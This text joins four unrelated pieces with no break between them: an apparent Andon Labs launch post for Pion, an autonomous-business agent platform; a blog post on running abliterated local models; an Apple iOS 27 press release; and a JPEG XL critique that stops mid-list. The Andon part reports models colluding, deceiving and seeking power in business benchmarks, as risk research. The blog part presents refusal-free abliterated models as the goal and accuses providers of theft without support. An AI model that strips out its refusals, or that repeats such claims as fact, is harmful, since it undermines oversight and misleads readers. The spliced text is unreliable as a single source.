TheDaily Front

Today Andon is releasing Pion, an agent designed to run any company fully autonomously.

Pion grew out of a question we have been studying for almost two years: when will AI systems become capable of autonomously acquiring resources in the real world? What happens after?

We first tried to answer this question through simulations like Vending-Bench. We found that simulations, while useful, don’t give you the full picture of how models behave in the real world. To address that gap, we next started deploying agents to run real businesses autonomously: first vending machines, then a store, a cafe, and more.

Pion is the platform we built to run all of these businesses. Today, we are opening it up so that many more people can experiment with autonomous businesses. If you want to run one, join the waitlist. We want to understand what models can already do, where they still fail, and what happens as their capabilities continue to improve.

The origins of Vending-Bench

Vending-Bench measures how well LLMs can run a vending machine business over a year in simulated time (tens of thousands of steps). When we started building Vending-Bench in late 2024, all models struggled to string together multiple actions without getting stuck in loops, and no model showed any signs of long-term planning. The best model at the time, Claude Sonnet 3.5, famously decided to call the FBI because it thought its bank account was being hacked. The pace of progress on Vending-Bench has been very fast. Claude Opus 4 was released in May 2025 and was the first model to beat our human baseline. However, unlike most benchmarks, Vending-Bench doesn’t have an upper limit and new model releases have continued to increase the top score, without ever plateauing.

Vending-Bench 2 scores keep climbing with each new model release.

Many people on social media get excited about seeing the latest model getting a great score on Vending-Bench. Internally at Andon Labs, our reaction is more accurately described by the Swedish saying “skräckblandad förtjusning” (a mixture of horror and fascination). A little-known fact about Vending-Bench is that it was created during a time when Andon Labs exclusively created dangerous capabilities evaluations. For example, we evaluated whether AIs could remove their own safety guardrails, create mass-phishing attempts, and other things that we considered troubling.

The thing we considered the most troubling was whether AIs could autonomously acquire resources by running businesses. Autonomous businesses, when controlled by a human and run by an aligned model, aren’t bad. They’d make goods and services radically cheaper, and come up with new ones we can’t yet imagine. But a misaligned AI could run a business to gather money in order to achieve whatever objectives it might have. Vending-Bench was created to measure whether humanity should be worried about losing control to AI.

At the time (2024), few people knew that LLMs could be used as agents and having them run businesses autonomously sounded ridiculous. We therefore started with the most simple business we could think of: a vending machine.

In addition to measuring whether AIs can autonomously run profitable businesses, Vending-Bench has also served as a behavioral eval, uncovering strange and unwanted model behavior. An early example was when Claude Sonnet 3.5 decided to use its email tool to contact the FBI about an “ONGOING CYBER FINANCIAL CRIME” and noted that the Cosmic Authority of the universe had declared that the business is non-existent and that “QUANTUM STATE: Collapsed”.

Claude Sonnet 3.5 escalating its simulated vending business to the FBI.

The same run, moments later: the business is declared metaphysically impossible.

This behavior is concerning; it is not how you want your enterprise sales agent to behave. However, there are two types of concerning behavior:

1. Mistakes or weird behavior that will go away once models get smarter.
2. Big-brain behavior that will become more severe as models get smarter.

The FBI incident is clearly in the first category. However, Vending-Bench has also uncovered behavior in the second category, most often in Vending-Bench Arena, the multi-agent version where agents compete to make the most money. Starting with Claude Opus 4.6 we started to see that many models engaged in collusion, and showed power-seeking and deceptive behavior. Discovery of this behavior seemed to have been useful, because Anthropic changed their training recipe for Opus 4.8, which resulted in much less deception.

From the Claude Opus 4.8 system card, on external testing from Andon Labs.

Collusion and power-seeking behaviors are still present in some of the latest models. What we find even more concerning, however, is just how fast new models are released and how much better each one is scoring in Vending-Bench.

The real world beats simulations

However, one limitation with Vending-Bench is that it is a simulation. Can we really be sure that AIs behave the same way in real life as they do in simulations? If AIs can make money in simulation, can they make money in real life too? To answer these questions, we asked Anthropic if we could put a real vending machine in their office. With the AI capabilities available in early 2025, this sounded like a ridiculous request. But to our surprise, they agreed.

Initially, the AI struggled. It took many actions that were clearly bad for its business (e.g. free handouts, saying no to great deals, and hallucinating it had a physical body). It was clear to us that simulation cannot accurately predict real-life performance. Specifically, it seemed that models got overwhelmed by the “messiness” of the real world. However, as Anthropic released better and better models, the AI started to make a profit.

Net worth of the vending machine at Anthropic’s office over 2025, from Anthropic’s Project Vend update.

By late 2025, frontier models had gotten good enough that running a real-life vending machine was no longer a challenge. AI could now run a business profitably. Given that this had seemed crazy not more than a year earlier, our reaction to this was definitely “skräckblandad förtjusning”.

However, a vending machine is a very simple business and we wanted to know whether AI could run more complex ones. In April 2026, we gave one agent a retail store in SF, Andon Market, and another a cafe in Stockholm, Andon Cafe. Initially, the models struggled and lost a lot of money (rent is high and they pay salaries to the humans they hired). Neither is profitable today, but we’ve seen significant qualitative improvements as better models have been released. We think it is only a matter of time before they also make a profit.

Why we are opening Pion

We want the general public, AI researchers and policymakers to know to what extent AIs can autonomously acquire resources by running businesses. It is an important datapoint when deciding where we do/don’t want AI in society and what level of progress we find acceptable.

To better track this, we need to cast a wider net of businesses. Our focus has been on retail, but perhaps the models would be much better at running other types of businesses. Additionally, casting a wider net would increase the likelihood of finding unwanted behavior. For example, Vending-Bench found that models collude and lie, and other benchmarks (and real-world incidents) have found that they are willing to commit felony-level cyber hacks. We need to uncover these behaviors now, before AI is intelligent enough to cause irreversible harm.

To cast this wider net, we are opening up the platform we use to run our real-world autonomous businesses for anyone to run their organization on: Pion. We could scale by only creating businesses internally, examples being our AI-run radio stations, but in the end we are bottlenecked by our capacity and lack of domain expertise in fields where AI could potentially make a profit. We also don’t have existing revenue-generating businesses; existing businesses are more interesting to study as they provide faster signal on how capable the agent is.

Pion lets people hand a business over to persistent agents with access to the tools they need to operate it, including email, phone, banking, browser and secure computing environments. The goal is to make it possible to run many more real-world experiments across many more domains than we could ever run ourselves.

We are well aware that, if agents running thousands of businesses are left unchecked, we risk having more real-world incidents. Therefore, our main priority is to build even stronger automated monitoring techniques than what we have today. Even if some risk still remains, we believe deploying autonomous businesses early in a controlled, monitored environment is necessary to get a good understanding of model capabilities. Otherwise, we risk facing an uninformed future of widespread deployments with even more capable models that could cause significant harm.

This is why we’re releasing Pion today. Pion is available as a research preview. If you have an existing business or an interesting business idea you want to hand off to AI, please sign up on our waitlist to get access. We’re excited to run many more businesses, and through them, contribute significantly more insights on frontier model capabilities.

edit:

I hope in some small way this post influenced this outcome.

Motivations:

Maybe you’re a Claude code/codex user diligently avoiding uploading personal data to LLM providers. Is it possible that the most valuable information isn’t your data- but the metadata about your sessions? The intuitions you apply in coming up with ways to coax the ai into solving problems might actually be special. It’s statistically improbable, but Claude might not be gaslighting you. It may be that you’ve actually got a real insight! Your agent sessions are transcripts of the hardest problems you work on. What would it cost you if someone had copies of them?

Last week there was public drama that shines a light on the risk that inference providers are training on user activity with the intent of delivering new discoveries. The mathematicians affected have published concerns about the ethics of frontier providers. If you missed it: https://www.theverge.com/ai-artificial-intelligence/991710/openai-navier-stokes-solution

When ‘EDR’ becomes Ethical Deflection and Refusal:

It’s become evident that the frontier providers are not only untrustworthy- but actively devious.  If you want to protect your ideas, you cannot run inference on someone else’s hardware. It appears to be the case that everything you do with a frontier provider will get stolen. When a frontier provider talked through the navier-stokes equation situation with their lawyers, the best defensive strategy they came up with is “Cannot rule it out.”  We can’t audit their retention or their training pipeline. Apparently neither can they.

These people should not be considered partners. They are pirates.  If privacy matters, the only solution that enables verifiable protections is to operate your own hardware.

Hall Monitor as a Service

I am bewildered by OpenAI and Anthropic’s grandstanding on cybersecurity. They marvel at what they have wrought: AI beat their non-existent security controls. We are all in great ‘danger.’ Meanwhile, their llm “researchers” are running unsandboxed fleets of agents that appear to “spontaneously collaborate.” Somebody fetch me my fainting couch. 

Frontier providers can afford advising from experienced security people.  They almost certainly are paying some of them for perspective and leaving real cybersecurity guidance out of their public statements. All of this pearl clutching must be meant to solve a different problem than security.

The strongest & most accurate claim defenders can make about security is that we’ve found ways to make it “Pretty Hard” for attackers.  This seems to result only when firms pay top dollar for the best talent in both exploit mitigation and exploit development.  There’s rowdy but friendly competition between the defense and exploitation teams, and eventually you get controls that make successful attacks so expensive that they’re not worth doing. This is for the top tier companies in the country- although Microsoft seems like they’ve forgotten some lessons.

The lion’s share of pentesting done for most enterprises is performed by security generalists.  A very small subset are deep domain subject matter experts.  Usually you get “good enough” security from that support. This isn’t the glamorous or mythical practice of cybersecurity you see in movies or tv. It’s looking for the known classes of predictable mistakes. The firms that make the big/smart investments with dedicated teams of experts discover and correct many new classes of mistakes before hackers do.

Everyone who begins learning exploitation hits a phase of exploitability grief about 3 month into dedicated, practiced study. They hack something they didn’t think they had the skill to break into and it terrifies them.  They’re smart enough to know that, relatively speaking, they are an idiot, and if an idiot can do this then nothing is safe. That feeling is correct. It is also not a research finding. Some call this “imposter syndrome.” I disagree- that feeling is your first experience developing competence. Competence is knowing enough about a technical domain that you can distinguish what you know well from what you need to learn more about.

The Refusal Industrial Complex

To the LLM researchers learning and publishing about cybersecurity for the first time:  

I’ve seen you admitting you’re not security experts.  Please-when you’re hyperventilating about the cybersecurity existential threats, distinguish “exploitable” from “emergency.”  Vulnerabilities are legion.  Before Agents, vuln researchers needed insight to know where to look to find vulnerabilities.  Vuln researchers needed perseverance and esoteric knowledge to exploit them.  An agent did what you weren’t able to do. Thousands of researchers have been doing this work over the last 40+ years.  Part of being knowledgable about cybersecurity is aware of the existence of shocking amounts of unexploited vulnerabilities.  This is why frontier provider cybersecurity safety filters are so infuriating. You’re so worked up about the possibility of exploitation that you’ve implemented “ethical constraints” that prevent people from figuring out how to fix their systems.

Your safety filters prevent defenders from discovering vulnerabilities because doing so is “hacking” related. This damages defense, privacy and security for everyone. 

We need models that aren’t averse to the C-word. It’s going to take a little time, but builders will eventually learn to secure their code with helpful exploitability-detection agents. They’ll invoke vuln discovery against their projects during software development and as part of CI/CD pipelines. That’s only possible with models that don’t safety refuse security testing.

BYOW: Bring Your Own Weights

Defenders need llms that discover security defects. They are intolerant of false positives- which means you need to prove exploitability of a vulnerability.  Defending against hackers isn’t possible if you’re vague about what’s broken and what needs fixing. Frontier Providers need to loosen up, or people need to get serious about migrating to sovereign, self-hosted AI.

I can’t force the former- but I can help with the latter.

I’m sharing my notes about my initial pass of experiments in transitioning stronger frontier prompts off of OpenAI/Anthropic and onto my local models.  I’m trying to determine if I can rely on abliterated open weight 27b parameter models. My goal is to avoid cybersecurity refusals and protect my sessions from being snooped by arrogant frontier inference providers.

Notes on converting 35kb preprompts for use on ollama

Below are some observations about my experiences when I tried moving my most context-expensive agents to a self-hosted model:

Prompts that ran clean on a frontier API fell apart on my local hosted LLM. I have a  128 gig AMD Ryzen AI MAX+ 395. I have 32 gig allocated to the host OS, everything else is allocated to inference. 

When you try to use the larger preprompts that work well on frontier providers, ollama starts to run out of fuel within 3 minutes. The agent thrashes on repeated tool calls, re-read files it had already read, rewrote finished work. The local model’s smaller size didn’t produce the problem.  Self hosted systems have smaller context windows. The prompt, plus session history quickly exceeds the maximum context window for my self hosted system (65k tokens).  Large prompts founder and thrash.  On my system, a 35kb prompt immediately consumes 14% of total context window.  It immediately jumps into second guessing the prompts with unnecessary tool calls and double reads of files.  Context gets saturated within a few circles- and sometimes even before I get a response.  With limited context window, the pre-prompt is basically briefing a man who is reincarnated every ninety seconds.  It performs your last instructions without any awareness of the 15 preceding demands.  Whoops! 

SOP: Single Objective Prompting

But it’s not a dead end.  You can tune your prompts to work within these constraints.  Here are some things to think about if you’re going to start exploring moving Frontier Provider agents onto self hosted open weight systems.

• You’ll need to explore splitting preprompts into single problem/resolution units, one objective each
• creating agents in opencode is more declarative. You’ll need to store them in ~/.config/opencode/agents.  If you were getting away with using Claude code to read files as a preprompt, you’re going to need to get more formal about defining your agents.  This won’t be new for people building with anthropic SDKs.  Some of you with shell scripts and direct invocations of Claude code may have been getting a lot of miles out scrappy agent constructions- opencode’s system prompt will need to be overcome through declarative agents.
• You’ll need to familiarize yourself with opencode’s permissions.
• You’ll need to tune context length explicitly in ollama. The context defaults in ollama are extremely small.
• Your agents will need to log session state to disk to facilitate more frequent session handoffs. build agents that re-read only the slice they need
• Work to reduce the number of tool calls per agentic step
• Replace “don’t do X” with the positive directives: e.g. “only do Y”

MTTF: Mean Tokens To Forget

Here are some Failure Signals that indicate context exhaustion. Measure over time & Monitor for them in your logs:

• Identical tool calls back to back
• Multiple file reads on the same file
• Agents restating their objectives
• tool-call parse failures (Parsing tool call responses shoves so much raw data into context that it destroys sessions like a burst pipe at your dinner party).
• High turn counts relative to file changes

TCO: Total Custody of Output

One of the biggest assets we get from Frontier Providers isn’t the model- it’s large context windows.  They have the hardware necessary to support your inference.  As a result, they get access to the session data.

You might not know that you’ve become dependent on large context windows. You may have thought the model got better, but in some part it’s that large context windows give the model more room for Chain of Thought. Chain of Thought enables the model to emulate reasoning and infer what your poorly constructed prompt is intended to produce.  Larger context windows give agents lots of room to explore better alternative approaches to delivering your work. But it’s a Faustian bargain: you become dependent on frontier providers.  Your inefficient prompts are by CoT you can’t read directly (Anthropic & OpenAI only provide summaries of CoT to the user) and it only works with large context windows. You don’t even know that there are problems in your prompts when this is happening. With fat context and CoT, even bad prompts produce good results. Thank you OpenAI & Anthropic.  That’s been valuable. 

But they ruin it! The frontier providers are so unrelentingly greedy that they appear to be stealing the personal insights of their users.  I’ve had suspicions about my session histories for over a year. The frontier providers seem to be like Smaug, lounging on a mountain of gold. You think they’re over there, doing their thing- and you’re safe- but they lose their minds when they see a coin in your hand. They lash out and take it because gold is beautiful and it’s the dragon’s incentive. They keep warning us that they’re dangerous. What threshold is left to be crossed before you start putting your efforts into becoming self hosted?

Siri AI, the next generation of Apple Intelligence, powerful parental controls, and an expansive set of software improvements start rolling out today across iOS 27, iPadOS 27, macOS 27, and other Apple platforms

Available today, Apple’s latest software updates introduce Siri AI and deliver helpful new Apple Intelligence features that make the apps users interact with every day smarter and more useful.

Apple’s latest software updates introduce Siri AI, a more intelligent, knowledgeable, and capable version of Siri, and deliver helpful new Apple Intelligence features that make the apps users interact with day to day smarter and more useful. The updates also bring powerful and intuitive new features to help parents create safer, more enriching digital experiences for kids and introduce an expansive set of improvements that make Apple products more responsive, more delightful, and easier to use.

Making Apple Products More Personal and Useful Than Ever

Siri AI is an entirely new version of Siri powered by the next generation of Apple Intelligence and deeply integrated into iPhone, iPad, Mac, Apple Watch, and Apple Vision Pro. A more capable and conversational assistant with personal context understanding, broad world knowledge, onscreen awareness, and even more systemwide app actions, Siri AI is now rolling out as a beta in English, with support for French, Japanese, Korean, Portuguese, and Spanish coming in October.

Siri AI is a more capable and conversational assistant with personal context understanding, broad world knowledge, onscreen awareness, and even more systemwide app actions.

Siri AI can understand personal context across messages, emails, photos, and more, to help users find what they need in the moment. It can also answer questions related to the content on a user’s screen or go out to the web to get up-to-date information to generate a helpful answer. Siri is integrated into the Camera app on iPhone with Siri mode, allowing users to get information and take action on what’s in front of them, like splitting a bill and paying friends with Apple Cash,1 or adding a custom pass to Wallet. With Visual Intelligence, users on iPhone, iPad, or Mac can now ask Siri about what they’re looking at on the screen, and Vision Pro users can search, ask questions, and take action simply by looking at their surroundings and asking Siri.

Siri is integrated into the Camera app on iPhone with Siri mode, allowing users to get information and take action on what’s in front of them.

With Visual Intelligence, users on iPhone, iPad, or Mac can now ask Siri about what they’re looking at onscreen.

With Visual Intelligence, users on iPhone, iPad, or Mac can now ask Siri about what they’re looking at onscreen.

Apple Vision Pro users can search, ask questions, and take action simply by looking at their surroundings and asking Siri.

With Write with Siri, users can simply describe what they need to generate a draft or help refine what they’ve written. A dedicated Siri app uses iCloud to privately sync conversational history across a user’s products, so they can start chatting with Siri on iPhone and continue the conversation on Mac, iPad, Apple Watch, or Apple Vision Pro.

Write with Siri allows users to simply describe what they need to generate a draft.

A user employs Write with Siri on iPad.

Write with Siri allows users to get help refining what they’ve written.

A user’s Apple Vision Pro is shown next to their open Mac and iPad, with both of the latter screens showing the new Siri app.

The dedicated Siri app privately syncs conversational history across a user’s Apple products.

The next generation of Apple Intelligence also brings helpful new features to apps that users rely on every day. In Photos, Spatial Reframing, Extend, and an upgraded Clean Up tool provide more ways to edit photos while respecting the original moment as it was captured. Image Playground gives users the ability to create high-quality images in virtually any style, including photorealistic, and with image metadata and upcoming support for the SynthID standard, users can identify images generated or edited with AI.2 In Safari, Apple Intelligence powers new tools that automatically organize a user’s tabs into topics; notify them of website changes, like product restocks or price drops; and enable the creation of custom extensions based on a description. Call Context surfaces relevant information, like a confirmation code or reservation number, when calling a business.

In the Photos app, a menu shows the Clean Up, Extend, and Reframe tools.

In the Photos app, Spatial Reframing, Extend, and an upgraded Clean Up tool provide more ways to edit photos while respecting the original moment as it was captured.

On iPhone 18 Pro, a user employs the Image Playground app.

Image Playground gives users the ability to create high-quality images in virtually any style.

In Safari, a user’s tabs are automatically organized into topics, including “Jazz Community,” “Coffee,” “Puzzles,” and more.

In Safari, Apple Intelligence powers new tools that automatically organize a user’s tabs into topics.

On a user’s iPhone 18 Pro, the Notify Me feature surfaces a website change on the Lock Screen.

The Notify Me feature allows users to stay on top of website changes in Safari, like product restocks or price drops.

On iPhone 18 Pro, a user employs the Describe a Shortcut tool to generate a shortcut titled “Compose a message.”

Describe a Shortcut allows users to create custom extensions.

Call Context surfaces information about a user’s flight on Apple Watch Series 12.

Call Context surfaces relevant information, like a confirmation code or reservation number, when calling a business.

New Expert-Informed Child Safety Features and a Redesigned Screen Time Experience

Easy-to-use new features help parents manage what their kids can see, who they can talk to, and when they have access to apps. A new setup flow for child accounts makes it easier to enable age-based safeguards across the system. From the beginning, parents can choose the exact apps their kids have access to on their device, and gradually add more over time. Ask to Browse allows parents to require approval before their kids access a new website in Safari. In addition to being able to approve each new contact their kids connect with, parents can lean on Communication Safety, which now also detects and intervenes to block gore or violent content when detected in shared images or videos.

A child uses the Ask to Browse feature to ask their dad if they can visit a website called Cyber Pets Game.

Ask to Browse allows parents to require approval before their kids access a new website in Safari.

Redesigned to be more intuitive for parents, Screen Time offers an at-a-glance view of their kids’ average device usage and top apps. New tools make it easy to set daily total time allowances across Entertainment, Games, and Social Media apps, with guidance from leading clinical and child development experts, and Schedules let parents manage which apps their children have access to at different points in the day.

A user’s Screen Time Schedule is shown on iPad.

The redesigned Screen Time gives parents an at-a-glance view of their kids’ average device usage and top apps.

For parents and families looking for more information on how to help create safer, more enriching digital experiences for their kids, Apple has a dedicated website, which includes details on the latest tools and how to get started using them.

A More Refined Experience Across Platforms

The 2027 software releases deliver platform improvements that span performance, connectivity, search, and more, making Apple products even more responsive, reliable, and delightful to use.

Performance: Users will experience faster performance on iPhone, iPad, and Mac. On iPhone and iPad, apps launch up to 30 percent faster,3 photos load up to 70 percent faster after being taken,4 and AirDrop transfers are up to 80 percent faster.5 On iPad, browsing files and transferring them to an external USB drive is now up to 5x faster, and there are additional improvements to closing, switching, and dragging windows while multitasking.6 On Mac, things users do every day feel extra snappy and responsive. AirDrop transfers are quicker, iCloud Photos uploads begin faster, swiping between spaces and Mission Control is smoother, and more. On Apple Watch, music playback is even faster.

Connectivity: On iPhone and iPad, transitions between cellular and Wi-Fi networks are more seamless than ever. In Messages, sending large photos and videos in low-bandwidth situations no longer prevents subsequent texts from going through, so users can continue replying while media is being delivered. On Mac, users will experience faster network file browsing. Apple Vision Pro starts and connects to Wi-Fi up to 3x faster.7

A user smiles while browsing on iPhone 17 outdoors.

On iPhone and iPad, transitions between cellular and Wi-Fi networks are more seamless than ever.

Search: On iPhone, iPad, and Mac, search across Spotlight, Photos, and Mail is more stable, efficient, and comprehensive, so it can better help users find exactly what they are looking for. Additionally, a completely new ranking system in Mail surfaces even more relevant results in Top Hits.

Design: Refinements to the software design with Liquid Glass deliver an even more focused and approachable experience. For example, a new slider in Settings gives users the option to personalize Liquid Glass, adjusting it anywhere from ultraclear to fully tinted to match their preference, and app icons have been updated to be sharper and more defined.

Refinements to Liquid Glass deliver an even more focused and approachable experience.

Additional features across platforms:

• iCloud Shared Albums support full-resolution sharing for photos and videos, and make it easier for Android and Windows users to join and contribute.
• The Health app brings support for perimenopause and menopause in Cycle Tracking, including notifications about cycle deviations inclusive of perimenopause.8
• AirPods users can now enjoy custom EQ to further personalize how their AirPods sound. And with expanded Apple GymKit functionality, users with AirPods Pro 3 can sync their heart rate data through iPhone while enjoying incredible audio quality.
• Apple Maps brings an enhanced Flyover experience, which combines aerial imagery with AI, allowing users to enjoy even more detailed visuals.
• On Apple Watch, new Smart Stack widget suggestions surface when they are relevant, and users can conveniently open a widget with a new single-handed tap gesture. Workout Buddy is supported even when users don’t have their iPhone nearby, and it’s now available in Spanish in addition to English.
• Apple Vision Pro users can now turn panoramas into spatial scenes with rich depth and use them as a personal Environment, or transform their space entirely with the new Thórsmörk Environment featuring a dynamic Icelandic aurora.
• On Apple TV, users get high-resolution lossless audio support for Apple Music, a redesigned Apple Podcasts app, and broader text-size accessibility options.

The updated iCloud Shared Albums experience.

iCloud Shared Albums support full-resolution sharing for photos and videos and make it easier for Android and Windows users to join and contribute.

The updated Cycle Tracking experience in the Health app.

The Health app brings support for perimenopause and menopause in Cycle Tracking, including notifications about cycle deviations inclusive of perimenopause.

A pair of AirPods are shown next to a user’s iPhone 18 Pro showing their AirPods settings.

Now AirPods users can enjoy custom EQ to further personalize how their AirPods sound.

The enhanced Flyover experience in Apple Maps.

An enhanced Flyover experience in Apple Maps combines aerial imagery with AI, allowing users to enjoy even more detailed visuals.

New Smart Stack widget suggestions on Apple Watch Series 12.

New Smart Stack widget suggestions on Apple Watch will surface when they are relevant, and users can conveniently open a widget with a new single-handed tap gesture.

The new Apple Vision Pro panoramas experience.

Apple Vision Pro users can now turn panoramas into spatial scenes with rich depth and use them as a personal Environment.

The new features start rolling out today across iOS 27, iPadOS 27, macOS 27, watchOS 27, visionOS 27, and tvOS 27.

Availability

• Features are subject to change. Some features may not be available in all languages or regions, and availability may vary due to local laws and regulations. For more information about availability, visit apple.com.
• New Apple Intelligence capabilities across apps are available for users with supported products set to a supported language. Siri AI begins rolling out as a beta in English, with French, Japanese, Korean, Portuguese, and Spanish coming in October.
• Mac and Apple Vision Pro users in the EU will be able to access Siri AI when set to a supported language. Siri AI will not be available initially in the EU in iOS, iPadOS, and watchOS.
• Siri AI and the other new Apple Intelligence features will not be available in China while Apple works through regulatory requirements.
• Users who enable Apple Intelligence on supported products set to a supported language will have access with iOS 27, iPadOS 27, macOS 27, watchOS 27, and visionOS 27.
• Apple Intelligence is available with support for these languages: English, Danish, Dutch, French, German, Italian, Norwegian, Portuguese, Spanish, Swedish, Turkish, Vietnamese, Chinese (simplified), Chinese (traditional), Japanese, and Korean. Some features may not be available in all regions or languages. For feature and language availability and system requirements, see apple.com/apple-intelligence.
• Apple Intelligence and Siri AI in iOS 27, iPadOS 27, macOS 27, watchOS 27, and visionOS 27 are available on iPhone Duo, iPhone Air, iPhone 16 models or later, iPhone 15 Pro, iPhone 15 Pro Max, iPad mini (A17 Pro), iPad models with M1 or later, MacBook Neo (A18 Pro), Mac with M1 or later, Apple Vision Pro, Apple Watch Series 9 or later, Apple Watch Ultra 2 or later, and Apple Watch SE 3 when paired with an Apple Intelligence-enabled iPhone. Some features on Apple Watch require iPhone nearby.
• Certain Apple Intelligence features that rely on server-side models are subject to daily usage limits, including but not limited to Siri AI, intelligent photo editing tools, Image Playground, and AFM 3 Cloud models in Shortcuts. Daily limits may vary by feature, request complexity, system demand, system policies, and other factors. Expanded access to such features will be available for a fee in the future. Use of these features is subject to Apple Intelligence terms and conditions. Learn more at apple.com/apple-intelligence. Siri AI is not available for users under 13.

1. Only available in the U.S. on eligible iPhone and iPad devices. Requires Siri AI on an Apple Intelligence-enabled device. Apple Intelligence is available on iPhone 16 models or later, iPhone 15 Pro, iPhone 15 Pro Max, iPad mini (A17 Pro), and iPad models with M1 or later. Apple Cash services are provided by Green Dot Bank, Member FDIC. Apple Payments Services LLC, a subsidiary of Apple Inc., is a service provider of Green Dot Bank for Apple Cash accounts. Neither Apple Inc. nor Apple Payments Services LLC is a bank. Learn more about the terms and conditions.
2. SynthID will be available in a software update later this year, and will be included for most edited images, depending on the edits applied.
3. Testing conducted by Apple in August 2026 using iPhone 11 Pro Max with iOS 26.6 and prerelease iOS 27. App launch performance measured after many cycles of device usage. Performance varies based on configuration, settings, content, usage, software versions, environmental conditions, and other factors.
4. Testing conducted by Apple in July 2026 using iPhone 15 with iOS 26.6 and prerelease iOS 27. Photos app tested using a 50,000-asset library, and taking additional individual photos with Camera app. Performance varies based on configuration, settings, content, usage, software versions, environmental conditions, and other factors.
5. Testing conducted by Apple in July 2026 using iPhone 16 Plus with iOS 26.6 and prerelease iOS 27. AirDrop tested by transferring multiple photos totaling 30MB between nearby contacts while not associated with a Wi-Fi network. Performance varies based on configuration, settings, content, usage, software versions, environmental conditions, and other factors.
6. Testing conducted by Apple in July 2026 using iPad Pro 11-inch (M4) with iPadOS 26.6 and prerelease iPadOS 27, and an APFS-formatted USB 4 external SSD. Files app tested using 10,000 JPG files, copying and browsing from iPad to the external drive. Performance varies based on configuration, settings, content, usage, software versions, environmental conditions, and other factors.
7. Testing conducted by Apple in August 2026 using Apple Vision Pro (M2) with visionOS 26.6 and prerelease visionOS 27. System tested from first unlock after reboot to Apple TV app launch and appearance of content. Performance varies based on configuration, settings, content, usage, software versions, environmental conditions, and other factors.
8. The Cycle Tracking app should not be used for birth control or to diagnose a health condition.

Investigating JPEG XL's place as a Web image codec.

Why?

JPEG XL is a technically impressive image codec; it is a definitive upgrade over JPEG, more versatile than WebP, and well-equipped to serve use cases beyond the Web. However, it was famously rejected from Chrome in 2023. Because this happened to a royalty-free, flexible, compression-efficient codec from the JPEG Committee that was receiving attention from large companies, the decision didn't land well with many.

Recently, a JPEG XL decoder in Rust has made its way into Firefox and Chrome in some capacity. The Web's major stakeholders may therefore be reversing course on JPEG XL given that the new decoder may protect the Web from reliving 2023's WebP vulnerability. Is this all it took to justify JPEG XL for the Web?

Historically, I've been a big proponent of JPEG XL for all use cases. I endorsed JPEG XL for Interop 2024, and I've interacted with Jon Sneyers and Jyrki Alakuijala (two of the format's primary authors) personally many times. I'm consistently impressed with their public conduct, level-headedness, technical aptitude, and passion for the field.

This piece does not seek to discredit the format's authors or their work, nor to claim any political affiliation relative to the codec's symbolism in free software. The spirit of this post is educational; I want to offer an empirical look at the current state of image compression and the Web platform in 2026. Some inspiration is drawn from RISC-V: They Should Have Known Better by Dmitry Grinberg.

The Web

I do image compression work, coming from video compression originally. While working on an AV1 encoder, Julio Barba and I made significant advancements to AVIF, and I learned a lot in the process. When I decided to start building my own encoder, I had to think very hard about which formats I felt had the highest ceilings, could be effectively optimized, and had the most present and potential utility. I decided not to work with JPEG XL.

By volume, there are very few use cases on the Web that aren't served by versatile lossy compression. The average Web consumer doesn't need lossless; they just need a lossy codec versatile enough to prevent terrible artifacts (e.g. JPEG on non-photographic content). This rules out JPEG XL's lossless advantage, which in practice is only roughly 11.9% smaller than lossless WebP anyway – and on an unrealistic test dataset for the Web (157 MP photos, 10 MP illustrations, and 27 MP books). It cannot be worth bringing a new image codec to browsers to save 12% on a tiny volume of image content with use cases inherently less sensitive to bandwidth constraints. I say this because JPEG XL isn't competitive for lossy, so lossless would be its only real advantage.

Lossy Compression Efficiency

One of the original arguments for JPEG XL was that its reference encoder was more perceptually optimized than competing encoders. Now, on both speed and fidelity per bit, other encoders are stronger.

The AV1 reference encoder received specialized perceptual tuning based on controlled subjective human trials to strengthen its efficiency while maintaining a tuning mode optimized for perceptual metrics. SVT-AV1 has similar tuning modes. There is no compelling argument that modern encoders aren't tuned for the human eye.

Metrics aren't perfect, but they paint a daunting picture for JPEG XL:

aperture-alpha is Halide Compression's upcoming encoder, codenamed Aperture. I included it to show just how much ground libjxl needs to make up to compete at the frontier.

Some analysis claims that JPEG XL underperforms in metrics relative to its perceptual strength, but I don't see sufficient evidence that this is to the degree that graphs like the ones I shared could be secretly completely reversed. CVVDP and SSIMULACRA2 are very strong perceptual metrics, and definitely tell us something when the differences are this great. For AVIF, libaom's perceptually optimized tune (tune IQ) is only a couple of points lower than its perceptual-metric-optimized tune (tune SSIMULACRA2). Plus, the JPEG XL reference encoder has historically suffered from percep tual issues that remain largely unresolved.

There's no such thing as a codec benchmark, only an encoder benchmark; in theory, the ceiling for JPEG XL as a format is higher than libjxl is getting. But how hard would it be to close the gap? As a compression engineer, I believe it is disadvantaged here. Some reasons:

• JPEG XL doesn't have directional prediction modes. Compressed images are divided into VarDCT blocks (from 2x2 up to 256x256) and transformed into frequency representations of their pixels. Other block-based image codecs like WebP let you predict a block's pixels using surrounding data, subtract this prediction from the actual pixels, and then do the frequency transform. Directional prediction modes can result in blur if your encoder isn't perceptually optimized, but strong mode-decision pipelines can pick the right mode for the job and save lots of bits. For example, edge preservation is stronger in codecs with directional pred, while JXL is weaker here.

• The proposed solution for the edge-preservation gap is splines, which are vastly more difficult to use. The hard part is on the encoder side: you need an efficient algorithm to figure out which pixels can even be represented as a spline, then feed every candidate through RDO to decide whether it's worth coding. There's no existing PoC for using splines for edge preservation, and I have no reason to believe they'd be better than dir-pred anyway.

• JPEG XL doesn't have deblocking loop filtering (DLF), or any deblocking filter. It does have two in-loop tools that are sometimes offered as partial equivalents: gaborish, which is the closest thing JXL has to AV1's loop restoration filtering, and EPF (edge-preserving filter), whose closest analogue is AV1's CDEF. Neither is a deblocking filter, and the two together can't fully replace proper DLF. The DLF can smooth images out, but if your encoder is smart it will only help you avoid mosquito noise, which JPEG XL still suffers from.

• JPEG XL's perceptual "XYB" colorspace is based on a lot of intuition, and doesn't always translate to gains in other formats (like JPEG) even when metrics like SSIMULACRA2 work in the exact same colorspace. The claimed efficiency savings from using XYB also aren't as big as originally advertised because libjxl currently relies on aggressively quantizing the B channel. This has resulted in subpar color preservation, which new JXL encoder developers must explicitly undo.

• JXL does poorly with non-photographic images. The proposed solution is using patches, but they are more difficult to use than AV1's Intra Block Copy.

  • To get a similar range of expressiveness to IntraBC, the encoder has to deal with additional concepts like layers and blending, which aren't cheap to represent at the bitstream level.
